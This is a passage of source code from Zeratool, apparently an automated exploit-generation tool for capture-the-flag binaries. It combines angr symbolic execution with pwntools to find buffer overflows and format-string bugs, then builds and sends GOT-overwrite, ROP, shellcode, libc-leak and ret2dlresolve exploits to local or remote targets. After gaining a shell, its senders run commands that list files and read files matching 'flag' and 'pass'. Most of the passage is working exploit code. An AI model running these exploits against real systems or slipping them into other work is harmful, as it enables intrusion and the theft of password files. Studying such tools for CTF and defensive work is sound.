state.add_constraints(total_region == total_format[:length]) 548 | return 549 | 550 | for i in range(length): 551 | strValIndex = i % len(strVal) 552 | curr_byte = self.state.memory.load(loc + i, 1).get_byte(0) 553 | constraint = state.se.And(strVal[strValIndex] == curr_byte) 554 | if state.se.satisfiable(extra_constraints=[constraint]): 555 | state.add_constraints(constraint) 556 | else: 557 | log.info( 558 | "[~] Byte {} not constrained to {}".format( 559 | i, repr(strVal[strValIndex]) 560 | ) 561 | ) 562 | 563 | def run(self, _, fmt): 564 | if not self.checkExploitable(fmt): 565 | return super(type(self), self).run(fmt) 566 | 567 | 568 | def getRemoteFormat(properties, remote_url, remote_port): 569 | exploit_results = {} 570 | 571 | input_pos = properties["pwn_type"]["position"] 572 | input_len = properties["pwn_type"]["length"] 573 | input_string = properties["pwn_type"]["input"] 574 | 575 | if "64" in properties["protections"]["arch"]: 576 | context.arch = "amd64" 577 | 578 | # Slice constrolled input 579 | start_slice = input_string[:input_pos] 580 | end_slice = input_string[input_pos + input_len :] 581 | 582 | stack_position = -1 583 | log.info("[~] Locating buffer stack location") 584 | # Determine stack location 585 | for i in range(1, 50): 586 | iter_string = "AAAA_%{}$08x_".format(i) 587 | iter_string = assembleInput(iter_string, start_slice, end_slice, input_len) 588 | 589 | results = runIteration( 590 | None, 591 | iter_string, 592 | remote_server=True, 593 | remote_url=remote_url, 594 | remote_port=remote_port, 595 | ) 596 | if "41414141" in results: # 0x41414141 == "AAAA" 597 | stack_position = i 598 | log.info("[+] Found stack location at {}".format(stack_position)) 599 | break 600 | 601 | if properties["win_functions"] is not None: 602 | for func in properties["win_functions"]: 603 | address = properties["win_functions"][func]["fcn_addr"] 604 | for got_name, got_addr in list(properties["protections"]["got"].items()): 605 | log.info("[~] Overwritting {}".format(got_name)) 606 | writes = {got_addr: address} 607 | format_payload = fmtstr_payload( 608 | stack_position, writes, numbwritten=input_pos 609 | ) 610 | if len(format_payload) > input_len: 611 | log.info("[~] Format input to large, shrinking") 612 | format_payload = fmtstr_payload( 613 | stack_position, 614 | writes, 615 | numbwritten=input_pos, 616 | write_size="short", 617 | ) 618 | 619 | format_input = assembleInput( 620 | format_payload, start_slice, end_slice, input_len 621 | ) 622 | 623 | log.info(repr(format_input)) 624 | results = sendExploit( 625 | None, 626 | properties, 627 | format_input, 628 | remote_server=True, 629 | remote_url=remote_url, 630 | port_num=remote_port, 631 | ) 632 | if results["flag_found"]: 633 | exploit_results["flag_found"] = results["flag_found"] 634 | exploit_results["input"] = format_input 635 | return exploit_results 636 | return exploit_results 637 | 638 | 639 | """ 640 | Maintain original input size 641 | Change this later to use angr 642 | And add these as constraints off a path 643 | """ 644 | 645 | 646 | def assembleInput(str_input, start_slice, end_slice, input_len): 647 | input_len 648 | str_len = len(str_input) 649 | for i in range(input_len - str_len): 650 | str_input += b"A" 651 | return start_slice + str_input + end_slice 652 | 653 | 654 | def runIteration( 655 | binary_name, 656 | str_input, 657 | remote_server=False, 658 | remote_url="", 659 | remote_port=0, 660 | input_type="STDIN", 661 | ): 662 | 663 | if input_type == "STDIN" or input_type == "LIBPWNABLE": 664 | if remote_server: 665 | proc = remote(remote_url, remote_port) 666 | else: 667 | proc = process(binary_name) 668 | proc.sendline(str_input) 669 | 670 | results = proc.recvall(timeout=5) 671 | log.info(results) 672 | results_split = results.split(b"_") 673 | 674 | # Get only hex strings of 8 characters or fewer 675 | position_leak = [ 676 | x for x in results_split if all([y in string.hexdigits.encode() for y in x]) 677 | ] 678 | 679 | leak = list(filter(lambda x: (b"61616161" in x), position_leak)) 680 | log.info(position_leak) 681 | if len(leak): 682 | return leak[0] 683 | return b"" 684 | # There should only be one 685 | # leak = [position_leak][0] 686 | else: 687 | proc = process([binary_name, str_input.rstrip(b"\x00")]) 688 | 689 | results = proc.recvall(timeout=5) 690 | log.info(results) 691 | results_split = results.split(b"_") 692 | 693 | # Get only hex strings of 8 characters or fewer 694 | position_leak = [ 695 | x for x in results_split if all([y in string.hexdigits for y in x]) 696 | ] 697 | 698 | # There should only be one 699 | leak = [position_leak][0] 700 | 701 | return leak 702 | 703 | 704 | def sendExploit( 705 | binary_name, 706 | properties, 707 | input_string, 708 | remote_server=False, 709 | remote_url="", 710 | port_num=0, 711 | ): 712 | 713 | send_results = {} 714 | hadIssue = False 715 | 716 | if properties["input_type"] == "STDIN" or properties["input_type"] == "LIBPWNABLE": 717 | # Create local or remote process 718 | if remote_server: 719 | proc = remote(remote_url, port_num) 720 | else: 721 | proc = process(binary_name) 722 | 723 | proc.sendline(input_string) 724 | # log.info(repr(input_string)) 725 | 726 | # Sometimes the flag is just printed 727 | results = proc.recvall(timeout=15) 728 | else: 729 | try: 730 | proc = process([binary_name, input_string]) 731 | except: 732 | log.info("[-] Issue with nulls in arg") 733 | hadIssue = True 734 | 735 | # log.info(repr(input_string)) 736 | 737 | # Sometimes the flag is just printed 738 | if not hadIssue: 739 | results = proc.recvall(timeout=15) 740 | 741 | log.info(results) 742 | send_results["flag_found"] = False 743 | if not hadIssue and b"{" in results and b"}" in results: 744 | send_results["flag_found"] = True 745 | log.info("[+] Flag found:") 746 | log.info(results.replace(b"\x20", b"")) 747 | # Flag not in stdout, we have a shell 748 | else: 749 | 750 | if ( 751 | properties["input_type"] == "STDIN" 752 | or properties["input_type"] == "LIBPWNABLE" 753 | ): 754 | if remote_server: 755 | proc = remote(remote_url, port_num) 756 | else: 757 | proc = process(binary_name) 758 | proc.sendline(input_string) 759 | else: 760 | try: 761 | proc = process([binary_name, input_string]) 762 | except: 763 | log.info("[-] Issue with nulls in arg") 764 | 765 | try: 766 | proc.sendline() 767 | proc.sendline(b"ls;\n") 768 | proc.sendline(b"cat *flag*;\n") 769 | proc.sendline(b"cat *pass*;\n") 770 | command_results = proc.recvall( 771 | timeout=30 772 | ) # Need a better way to "time out" 773 | # log.info(command_results) 774 | if b"{" in command_results and b"}" in command_results: 775 | send_results["flag_found"] = True 776 | log.info("[+] Flag found:") 777 | log.info(command_results.replace(b"\x20", b"")) 778 | except: 779 | pass 780 | 781 | return send_results 782 | -------------------------------------------------------------------------------- /zeratool/formatLeak.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import binascii 3 | import string 4 | 5 | 6 | def checkLeak( 7 | binary_name, properties, remote_server=False, remote_url="", port_num=1337 8 | ): 9 | 10 | full_string = b"" 11 | run_count = 50 12 | 13 | # Should have plenty of _%x_ in string 14 | base_input_string = properties["pwn_type"]["input"] 15 | 16 | format_specifier = b"lx" 17 | if "amd64" in properties["protections"]["arch"]: 18 | format_specifier = b"llx" 19 | 20 | format_count = base_input_string.count(b"_%" + format_specifier) 21 | 22 | if properties["input_type"] == "STDIN" or properties["input_type"] == "LIBPWNABLE": 23 | for i in range(int(run_count / format_count) + 1): 24 | 25 | # Create local or remote process 26 | if remote_server: 27 | proc = remote(remote_url, port_num) 28 | else: 29 | proc = process(binary_name) 30 | 31 | input_string = base_input_string 32 | 33 | # Swap in values for every _%x 34 | for j in range(format_count): 35 | iter_num = (i * format_count) + j 36 | iter_byte = str(iter_num).encode() 37 | input_string = input_string.replace( 38 | b"_%" + format_specifier, 39 | b"_%" + iter_byte + b"$" + format_specifier, 40 | 1, 41 | ) 42 | 43 | print("[+] Sending input {}".format(input_string)) 44 | proc.sendline(input_string) 45 | 46 | results = proc.recvall(timeout=5) 47 | 48 | """ 49 | 1. Split data by '_' 50 | 2. Filter by hexdigits 51 | 3. flip bytes for endianess 52 | 4. hex to ascii converstion 53 | """ 54 | data_leaks = results.split(b"_") 55 | # data_leaks = [ 56 | # x[0:8] if all([y in string.hexdigits.encode() for y in x]) else b"" 57 | # for x in data_leaks 58 | # ] 59 | # Swap endianess 60 | data_leaks = [ 61 | b"".join([y[x : x + 2] for x in range(0, len(y), 2)][::-1]) 62 | for y in data_leaks 63 | ] 64 | try: 65 | data_copy = data_leaks 66 | print(data_copy) 67 | data_leaks = [binascii.unhexlify(x.decode()) for x in data_leaks] 68 | except binascii.Error: 69 | print("[~] Odd length string detected... Skipping") 70 | temp_data = [] 71 | for x in data_copy: 72 | try: 73 | temp_data.append(binascii.unhexlify(x.decode())) 74 | except: 75 | # pass 76 | print("[+] Bad chunk {}".format(x)) 77 | 78 | data_leaks = temp_data 79 | print(data_leaks) 80 | full_string += b"".join(data_leaks) 81 | 82 | # Only return printable ASCII 83 | print(b"".join([x.to_bytes(1, "little") for x in full_string])) 84 | full_string = b"".join( 85 | [ 86 | x.to_bytes(1, "little") 87 | if x.to_bytes(1, "little") in string.printable.encode() 88 | else b"" 89 | for x in full_string 90 | ] 91 | ) 92 | else: 93 | for i in range((run_count / format_count) + 1): 94 | 95 | input_string = base_input_string 96 | 97 | # Swap in values for every _%x 98 | for j in range(format_count): 99 | iter_num = (i * format_count) + j 100 | input_string = input_string.replace( 101 | b"_%x", b"_%{}$".format(iter_num) + format_specifier, 1 102 | ).rstrip("\x00") 103 | 104 | # Create local or remote process 105 | proc = process([binary_name, input_string]) 106 | 107 | # print("[+] Sending input {}".format(input_string)) 108 | # proc.sendline(input_string) 109 | 110 | results = proc.recvall(timeout=5) 111 | 112 | """ 113 | 1. Split data by '_' 114 | 2. Filter by hexdigits 115 | 3. flip bytes for endianess 116 | 4. hex to ascii converstion 117 | """ 118 | data_leaks = results.split(b"_") 119 | data_leaks = [ 120 | x[0:8] if all([y in string.hexdigits for y in x]) else b"" 121 | for x in data_leaks 122 | ] 123 | data_leaks = [ 124 | b"".join([y[x : x + 2] for x in range(0, len(y), 2)][::-1]) 125 | for y in data_leaks 126 | ] 127 | data_leaks = [binascii.unhexlify(x) for x in data_leaks] 128 | 129 | full_string += b"".join(data_leaks) 130 | 131 | # Only return printable ASCII 132 | full_string = b"".join( 133 | [x if x in string.printable else b"" for x in full_string] 134 | ) 135 | 136 | leakProperties = {} 137 | leakProperties["flag_found"] = False 138 | 139 | # Dumb check for finding flag 140 | if b"{" in full_string and b"}" in full_string: 141 | print("[+] Flag found:") 142 | leakProperties["flag_found"] = True 143 | 144 | leakProperties["leak_string"] = full_string 145 | print("[+] Returned {}".format(full_string)) 146 | return leakProperties 147 | -------------------------------------------------------------------------------- /zeratool/inputDetector.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import IPython 3 | 4 | stdin = "STDIN" 5 | arg = "ARG" 6 | libpwnable = "LIBPWNABLE" 7 | 8 | 9 | def checkInputType(binary_name): 10 | 11 | # Check for libpwnableharness 12 | p = angr.Project(binary_name) 13 | if any(["libpwnable" in str(x.binary) for x in p.loader.all_elf_objects]): 14 | return libpwnable 15 | 16 | p = angr.Project(binary_name, load_options={"auto_load_libs": False}) 17 | 18 | # CFG = p.analyses.CFGFast() 19 | 20 | # Functions which MIGHT grab from STDIN 21 | reading_functions = ["fgets", "gets", "scanf", "read", "__isoc99_scanf"] 22 | # binary_functions = [str(x[1].name) for x in CFG.kb.functions.items()] 23 | binary_functions = list(p.loader.main_object.imports.keys()) 24 | 25 | # Match reading functions against local functions 26 | if any([x in reading_functions for x in binary_functions]): 27 | return "STDIN" 28 | return "ARG" 29 | -------------------------------------------------------------------------------- /zeratool/malloc_model.py: -------------------------------------------------------------------------------- 1 | import angr 2 | 3 | 4 | class malloc_addr_tracker(angr.procedures.libc.malloc.malloc): 5 | IS_FUNCTION = True 6 | 7 | def store_addr(self, addr): 8 | 9 | if "stored_malloc" not in self.state.globals.keys(): 10 | self.state.globals["stored_malloc"] = [] 11 | self.state.globals["stored_malloc"].append(addr) 12 | 13 | def run(self, sim_size): 14 | addr = super(type(self), self).run(sim_size) 15 | self.store_addr(addr) 16 | return addr 17 | -------------------------------------------------------------------------------- /zeratool/overflowDetector.py: -------------------------------------------------------------------------------- 1 | import angr 2 | from angr import sim_options as so 3 | import claripy 4 | import time 5 | import timeout_decorator 6 | import IPython 7 | from .simgr_helper import overflow_detect_filter, hook_win, hook_four 8 | import logging 9 | 10 | log = logging.getLogger(__name__) 11 | 12 | 13 | def checkOverflow(binary_name, inputType="STDIN"): 14 | 15 | extras = { 16 | so.REVERSE_MEMORY_NAME_MAP, 17 | so.TRACK_ACTION_HISTORY, 18 | so.SYMBOL_FILL_UNCONSTRAINED_MEMORY, 19 | so.SYMBOL_FILL_UNCONSTRAINED_REGISTERS, 20 | } 21 | 22 | p = angr.Project(binary_name, load_options={"auto_load_libs": False}) 23 | # Hook rands 24 | p.hook_symbol("rand", hook_four()) 25 | p.hook_symbol("srand", hook_four()) 26 | 27 | p.hook_symbol("system", hook_win()) 28 | # p.hook_symbol('fgets',angr.SIM_PROCEDURES['libc']['gets']()) 29 | 30 | # Setup state based on input type 31 | argv = [binary_name] 32 | input_arg = claripy.BVS("input", 300 * 8) 33 | if inputType == "STDIN": 34 | state = p.factory.full_init_state(args=argv, stdin=input_arg) 35 | state.globals["user_input"] = input_arg 36 | elif inputType == "LIBPWNABLE": 37 | handle_connection = p.loader.main_object.get_symbol("handle_connection") 38 | state = p.factory.entry_state( 39 | addr=handle_connection.rebased_addr, stdin=input_arg, add_options=extras 40 | ) 41 | state.globals["user_input"] = input_arg 42 | else: 43 | argv.append(input_arg) 44 | state = p.factory.full_init_state(args=argv) 45 | state.globals["user_input"] = input_arg 46 | 47 | state.libc.buf_symbolic_bytes = 0x100 48 | state.globals["inputType"] = inputType 49 | simgr = p.factory.simgr(state, save_unconstrained=True) 50 | 51 | run_environ = {} 52 | run_environ["type"] = None 53 | end_state = None 54 | # Lame way to do a timeout 55 | try: 56 | 57 | @timeout_decorator.timeout(120) 58 | def exploreBinary(simgr): 59 | simgr.explore( 60 | find=lambda s: "type" in s.globals, step_func=overflow_detect_filter 61 | ) 62 | 63 | exploreBinary(simgr) 64 | if "found" in simgr.stashes and len(simgr.found): 65 | end_state = simgr.found[0] 66 | run_environ["type"] = end_state.globals["type"] 67 | 68 | except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e: 69 | log.info("[~] Keyboard Interrupt") 70 | 71 | if "input" in run_environ.keys() or run_environ["type"] == "overflow_variable": 72 | run_environ["input"] = end_state.globals["input"] 73 | log.info("[+] Triggerable with input : {}".format(end_state.globals["input"])) 74 | return run_environ 75 | -------------------------------------------------------------------------------- /zeratool/overflowExploitSender.py: -------------------------------------------------------------------------------- 1 | from pwn import remote, process, u64, u32, ELF, gdb 2 | import re 3 | from .overflowExploiter import exploitOverflow 4 | import logging 5 | 6 | log = logging.getLogger(__name__) 7 | 8 | 9 | def sendExploit( 10 | binary_name, 11 | properties, 12 | remote_server=False, 13 | remote_url="", 14 | port_num=0, 15 | user_input=None, 16 | debug=False, 17 | ): 18 | 19 | send_results = {} 20 | 21 | # Create local or remote process 22 | if remote_server: 23 | proc = remote(remote_url, port_num) 24 | else: 25 | proc = process(binary_name) 26 | if debug: 27 | gdb.attach( 28 | proc, 29 | """ 30 | b *0x4006b0 31 | c 32 | """, 33 | ) 34 | 35 | # Command to send 36 | if user_input is None: 37 | user_input = properties["pwn_type"]["results"]["input"] 38 | 39 | if properties["pwn_type"]["results"]["type"] == "dlresolve": 40 | proc.clean_and_log(timeout=1) 41 | 42 | dlresolve_first = properties["pwn_type"]["results"]["dlresolve_first"] 43 | dlresolve_second = properties["pwn_type"]["results"]["dlresolve_second"] 44 | 45 | proc.send(dlresolve_first) 46 | 47 | proc.clean_and_log(timeout=1) 48 | 49 | try: 50 | proc.send(dlresolve_second) 51 | except EOFError: 52 | log.error("Got EOF error") 53 | return None 54 | 55 | elif properties["pwn_type"]["results"]["type"] == "leak": 56 | leak_input = properties["pwn_type"]["results"]["leak_input"] 57 | leak_output = properties["pwn_type"]["results"]["leak_output"] 58 | leaked_function = properties["pwn_type"]["results"]["leaked_function"] 59 | output_len = len(leak_output) 60 | 61 | proc.clean_and_log(timeout=1) 62 | 63 | if leak_input.endswith(b"\n"): 64 | proc.send(leak_input) 65 | else: 66 | proc.sendline(leak_input) 67 | 68 | bytes_with_leak = proc.recvuntil(b"\n").replace(b"\n", b"") 69 | 70 | log.info("Second clean and log") 71 | proc.clean_and_log() 72 | 73 | # bytes_with_leak = proc.read() 74 | if properties["protections"]["arch"] == "amd64": 75 | total_leak = bytes_with_leak.ljust(8, b"\x00") 76 | leaked_val = u64(total_leak) # puts won't print null bytes 77 | else: 78 | total_leak = bytes_with_leak.ljust(4, b"\x00") 79 | leaked_val = u32(total_leak) # puts won't print null bytes 80 | 81 | log.info("--- Leak ---") 82 | log.info(total_leak) 83 | log.info(bytes_with_leak) 84 | 85 | log.info("leak is {}".format(hex(leaked_val))) 86 | log.info( 87 | "leaked function {} found at {}".format(leaked_function, hex(leaked_val)) 88 | ) 89 | properties["pwn_type"]["results"]["leaked_function_address"] = leaked_val 90 | 91 | if properties.get("libc", None): 92 | if isinstance(properties["libc"], dict): 93 | remote_libc = properties["libc"]["remote_libc"][0] 94 | leaked_function_offset = int( 95 | remote_libc["symbols"][leaked_function], 16 96 | ) 97 | properties["libc_base_address"] = leaked_val - leaked_function_offset 98 | else: 99 | libc = ELF(properties["libc"]) 100 | properties["libc_base_address"] = ( 101 | leaked_val - libc.symbols[leaked_function] 102 | ) 103 | 104 | log.info( 105 | "[+] Leak sets libc address to {}".format( 106 | hex(properties["libc_base_address"]) 107 | ) 108 | ) 109 | 110 | # Make second stage pwn 111 | properties["pwn_type"]["results"] = exploitOverflow( 112 | binary_name, properties, inputType=properties["input_type"] 113 | ) 114 | 115 | second_stage_input = properties["pwn_type"]["results"]["input"] 116 | try: 117 | proc.sendline(second_stage_input) 118 | except EOFError: 119 | log.error("Got EOF error") 120 | return None 121 | 122 | else: 123 | proc.sendline(user_input) 124 | 125 | # If we have a shell, send some commands! 126 | proc.sendline() 127 | proc.sendline(b"ls;\n") 128 | proc.sendline(b"cat *flag*;\n") 129 | proc.sendline(b"cat *pass*;\n") 130 | 131 | # Sometimes the flag is just printed 132 | results = proc.recvall(timeout=3) 133 | log.debug(results) 134 | print(results) 135 | 136 | send_results["flag_found"] = False 137 | if b"{" in results and b"}" in results: 138 | send_results["flag_found"] = True 139 | log.info("[+] Flag found:") 140 | log.info(results) 141 | 142 | return send_results 143 | -------------------------------------------------------------------------------- /zeratool/overflowExploiter.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | import time 4 | import timeout_decorator 5 | import IPython 6 | import r2pipe 7 | import json 8 | import os 9 | import subprocess 10 | from struct import pack 11 | from angr import sim_options as so 12 | from zeratool import puts_model, printf_model, malloc_model 13 | from .simgr_helper import hook_four 14 | import logging 15 | 16 | log = logging.getLogger(__name__) 17 | 18 | # from pwn import * 19 | 20 | from .simgr_helper import ( 21 | point_to_win_filter, 22 | point_to_shellcode_filter, 23 | point_to_ropchain_filter, 24 | ) 25 | from .radare_helper import getRegValues, findShellcode, get_base_addr 26 | 27 | 28 | """ 29 | one gadget is writtin in ruby, so we need to call it externally 30 | These are all offsets into libc 31 | """ 32 | 33 | 34 | def getOneGadget(properties): 35 | 36 | from subprocess import Popen, PIPE, STDOUT 37 | 38 | if "libc" not in properties or properties["libc"] is None: 39 | log.info("[-] One gadget RCE relies on libc. Please add libc") 40 | exit(0) 41 | if "libc_base" not in properties or properties["libc_base"] is None: 42 | log.info("[~] No libc base address specified. Chains will use 0x0 as base") 43 | 44 | # If installed using helper script, one gadget should be on $PATH 45 | one_gadget = Popen("one_gadget", properties["libc"], stdout=PIPE) 46 | lines = one_gadgets.stdout.communicate()[0].split("\n") 47 | 48 | gadget_addrs = [] 49 | 50 | # Only grab the addresses 51 | for line in lines: 52 | if "/bin/sh" in line: 53 | log.info("[+] {}".format(line)) 54 | gadget_addrs.append(line.split(" ")[0]) 55 | 56 | return gadget_addrs 57 | 58 | 59 | def exploitOverflow(binary_name, properties, inputType="STDIN"): 60 | 61 | run_environ = properties["pwn_type"].get("results", {}) 62 | run_environ["type"] = run_environ.get("type", None) 63 | 64 | p = angr.Project(binary_name, load_options={"auto_load_libs": False}) 65 | if properties.get("libc", None) and not isinstance(properties["libc"], dict): 66 | libc_base_addr = properties.get("libc_base_address", 0x500000) 67 | libc_base_name = os.path.basename(properties["libc"]) 68 | p = angr.Project( 69 | binary_name, 70 | load_options={"auto_load_libs": False}, 71 | force_load_libs=[properties["libc"]], 72 | lib_opts={libc_base_name: {"base_addr": libc_base_addr}}, 73 | ) 74 | if p.loader.main_object.pic: 75 | log.info("Binary is PIC getting base addr") 76 | base_addr = get_base_addr(binary_name) 77 | p = angr.Project( 78 | binary_name, 79 | load_options={ 80 | "auto_load_libs": False, 81 | "main_opts": {"base_addr": base_addr}, 82 | }, 83 | ) 84 | extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY, so.TRACK_CONSTRAINTS} 85 | 86 | p.hook_symbol("rand", hook_four()) 87 | p.hook_symbol("srand", hook_four()) 88 | p.hook_symbol("puts", puts_model.putsFormat()) 89 | 90 | p.hook_symbol("printf", printf_model.printf_leak_detect(0)) 91 | p.hook_symbol("fprintf", printf_model.printf_leak_detect(1)) 92 | p.hook_symbol("dprintf", printf_model.printf_leak_detect(1)) 93 | p.hook_symbol("sprintf", printf_model.printf_leak_detect(1)) 94 | p.hook_symbol("snprintf", printf_model.printf_leak_detect(2)) 95 | p.hook_symbol("vprintf", printf_model.printf_leak_detect(1)) 96 | p.hook_symbol("vfprintf", printf_model.printf_leak_detect(1)) 97 | p.hook_symbol("vdprintf", printf_model.printf_leak_detect(1)) 98 | p.hook_symbol("vsprintf", printf_model.printf_leak_detect(1)) 99 | p.hook_symbol("vsnprintf", printf_model.printf_leak_detect(2)) 100 | 101 | p.hook_symbol("malloc", malloc_model.malloc_addr_tracker()) 102 | 103 | has_pie = properties.get("protections", {}).get("pie", False) 104 | 105 | # Setup state based on input type 106 | argv = [binary_name] 107 | input_arg = claripy.BVS("input", 400 * 8) 108 | if inputType == "STDIN": 109 | entry_addr = p.loader.main_object.entry 110 | if not has_pie: 111 | reg_values = getRegValues(binary_name, entry_addr) 112 | state = p.factory.full_init_state( 113 | args=argv, 114 | add_options=extras, 115 | stdin=input_arg, 116 | env=os.environ, 117 | ) 118 | 119 | if not has_pie: 120 | # Just set the registers 121 | register_names = list(state.arch.register_names.values()) 122 | for register in register_names: 123 | if register in reg_values: # Didn't use the register 124 | state.registers.store(register, reg_values[register]) 125 | 126 | elif inputType == "LIBPWNABLE": 127 | 128 | handle_connection = p.loader.main_object.get_symbol("handle_connection") 129 | start_addr = handle_connection.rebased_addr 130 | 131 | reg_values = getRegValues(binary_name, start_addr) 132 | 133 | state = p.factory.entry_state( 134 | args=argv, 135 | env=os.environ, 136 | addr=start_addr, 137 | add_options=extras, 138 | stdin=input_arg, 139 | ) 140 | # state = p.factory.full_init_state(args=argv,env=os.environ,addr=start_addr,add_options=extras) 141 | 142 | if not has_pie: 143 | # Just set the registers 144 | register_names = list(state.arch.register_names.values()) 145 | for register in register_names: 146 | if register in reg_values: # Didn't use the register 147 | state.registers.store(register, reg_values[register]) 148 | 149 | else: 150 | argv.append(input_arg) 151 | state = p.factory.full_init_state(args=argv, add_options=extras) 152 | 153 | state.globals["needs_leak"] = True 154 | if run_environ["type"] == "leak": 155 | state.globals["needs_leak"] = False 156 | state.globals["leak_input"] = run_environ["leak_input"] 157 | for x, y in enumerate(run_environ["leak_input"]): 158 | state.add_constraints(input_arg.get_byte(x) == y) 159 | 160 | state.libc.buf_symbolic_bytes = 0x100 161 | state.globals["user_input"] = input_arg 162 | state.globals["inputType"] = inputType 163 | state.globals["properties"] = properties 164 | simgr = p.factory.simgr(state, save_unconstrained=True) 165 | 166 | step_func = pickFilter(simgr, properties) 167 | if step_func is None: 168 | log.info("[-] Error could not device exploit strategy") 169 | exit(1) 170 | 171 | end_state = None 172 | # Lame way to do a timeout 173 | simgr.explore(find=lambda s: "type" in s.globals, step_func=step_func) 174 | try: 175 | 176 | @timeout_decorator.timeout(1200) 177 | def exploreBinary(simgr): 178 | simgr.explore(find=lambda s: "type" in s.globals, step_func=step_func) 179 | 180 | exploreBinary(simgr) 181 | 182 | except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e: 183 | log.info("[~] Overflow check timed out") 184 | return run_environ 185 | 186 | end_state = simgr.found[0] 187 | run_environ["type"] = end_state.globals["type"] 188 | if run_environ["type"] == "leak": 189 | run_environ["leak_input"] = end_state.globals["leak_input"] + b"\n" 190 | run_environ["leak_output"] = end_state.globals["output_before_leak"] 191 | run_environ["leaked_function"] = end_state.globals["leaked_func"] 192 | 193 | if run_environ["type"] == "dlresolve": 194 | run_environ["dlresolve_first"] = end_state.globals["dlresolve_first"] 195 | run_environ["dlresolve_second"] = end_state.globals["dlresolve_second"] 196 | 197 | run_environ["input"] = end_state.globals.get("input", None) 198 | 199 | log.info("[+] Triggerable with input : {}".format(run_environ["input"])) 200 | return run_environ 201 | 202 | 203 | def pickFilter(simgr, properties): 204 | 205 | has_nx = properties.get("protections", {}).get("nx", True) 206 | force_shellcode = properties.get("force_shellcode", False) 207 | if properties.get("win_functions", None): 208 | log.info("[+] Using point to win function technique") 209 | return point_to_win_filter 210 | elif not has_nx and force_shellcode: 211 | log.info("[+] Binary does not have NX") 212 | log.info("[+] Placing shellcode and pointing") 213 | return point_to_shellcode_filter 214 | else: 215 | log.info("[+] Building rop and pointing") 216 | return point_to_ropchain_filter 217 | return None 218 | -------------------------------------------------------------------------------- /zeratool/overflowRemoteLeaker.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | import timeout_decorator 4 | import os 5 | from struct import pack 6 | from angr import sim_options as so 7 | from zeratool import puts_model 8 | import logging 9 | 10 | log = logging.getLogger(__name__) 11 | 12 | # from pwn import * 13 | 14 | from .simgr_helper import ( 15 | point_to_win_filter, 16 | point_to_shellcode_filter, 17 | point_to_ropchain_filter, 18 | leak_remote_libc_functions, 19 | hook_four, 20 | ) 21 | from .radare_helper import getRegValues, findShellcode, get_base_addr 22 | 23 | 24 | def leak_remote_functions(binary_name, properties, inputType="STDIN"): 25 | 26 | run_environ = properties["pwn_type"].get("results", {}) 27 | run_environ["type"] = run_environ.get("type", None) 28 | 29 | p = angr.Project(binary_name, load_options={"auto_load_libs": False}) 30 | 31 | # Don't even try for pic 32 | if p.loader.main_object.pic: 33 | return 34 | 35 | extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY, so.TRACK_CONSTRAINTS} 36 | 37 | p.hook_symbol("rand", hook_four()) 38 | p.hook_symbol("srand", hook_four()) 39 | p.hook_symbol("puts", puts_model.putsFormat()) 40 | 41 | # Setup state based on input type 42 | argv = [binary_name] 43 | input_arg = claripy.BVS("input", 400 * 8) 44 | if inputType == "STDIN": 45 | entry_addr = p.loader.main_object.entry 46 | reg_values = getRegValues(binary_name, entry_addr) 47 | 48 | state = p.factory.full_init_state( 49 | args=argv, 50 | add_options=extras, 51 | stdin=input_arg, 52 | env=os.environ, 53 | ) 54 | 55 | # Just set the registers 56 | register_names = list(state.arch.register_names.values()) 57 | for register in register_names: 58 | if register in reg_values: # Didn't use the register 59 | state.registers.store(register, reg_values[register]) 60 | 61 | elif inputType == "LIBPWNABLE": 62 | 63 | handle_connection = p.loader.main_object.get_symbol("handle_connection") 64 | start_addr = handle_connection.rebased_addr 65 | 66 | reg_values = getRegValues(binary_name, start_addr) 67 | 68 | state = p.factory.entry_state( 69 | args=argv, 70 | env=os.environ, 71 | addr=start_addr, 72 | add_options=extras, 73 | stdin=input_arg, 74 | ) 75 | 76 | # Just set the registers 77 | register_names = list(state.arch.register_names.values()) 78 | for register in register_names: 79 | if register in reg_values: # Didn't use the register 80 | state.registers.store(register, reg_values[register]) 81 | 82 | state.libc.buf_symbolic_bytes = 0x200 83 | state.globals["user_input"] = input_arg 84 | state.globals["inputType"] = inputType 85 | state.globals["properties"] = properties 86 | state.globals["needs_leak"] = True 87 | simgr = p.factory.simgr(state, save_unconstrained=True) 88 | 89 | end_state = None 90 | # Lame way to do a timeout 91 | try: 92 | 93 | @timeout_decorator.timeout(1200) 94 | def exploreBinary(simgr): 95 | simgr.explore( 96 | find=lambda s: "libc" in s.globals, step_func=leak_remote_libc_functions 97 | ) 98 | 99 | exploreBinary(simgr) 100 | 101 | except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e: 102 | log.info("[~] Overflow check timed out") 103 | return run_environ 104 | 105 | end_state = simgr.found[0] 106 | 107 | if end_state.globals.get("libc", False): 108 | log.info("Found remote libc") 109 | run_environ["remote_libc"] = end_state.globals["libc"] 110 | log.info(run_environ["remote_libc"]) 111 | 112 | return run_environ 113 | -------------------------------------------------------------------------------- /zeratool/printf_model.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import angr 3 | import claripy 4 | import tqdm 5 | from .simgr_helper import get_trimmed_input 6 | import logging 7 | import copy 8 | 9 | log = logging.getLogger(__name__) 10 | 11 | # Better symbolic strlen 12 | def get_max_strlen(state, value): 13 | i = 0 14 | for c in value.chop(8): # Chop by byte 15 | i += 1 16 | if not state.solver.satisfiable([c != 0x00]): 17 | log.debug("Found the null at offset : {}".format(i)) 18 | return i - 1 19 | return i 20 | 21 | 22 | """ 23 | Model either printf("User input") or printf("%s","Userinput") 24 | """ 25 | 26 | 27 | class printFormat(angr.procedures.libc.printf.printf): 28 | IS_FUNCTION = True 29 | input_index = 0 30 | """ 31 | Checks userinput arg 32 | """ 33 | 34 | def __init__(self, input_index): 35 | # Set user input index for different 36 | # printf types 37 | self.input_index = input_index 38 | angr.procedures.libc.printf.printf.__init__(self) 39 | 40 | def checkExploitable(self, fmt): 41 | 42 | bits = self.state.arch.bits 43 | load_len = int(bits / 8) 44 | max_read_len = 1024 45 | """ 46 | For each value passed to printf 47 | Check to see if there are any symbolic bytes 48 | Passed in that we control 49 | """ 50 | i = self.input_index 51 | state = self.state 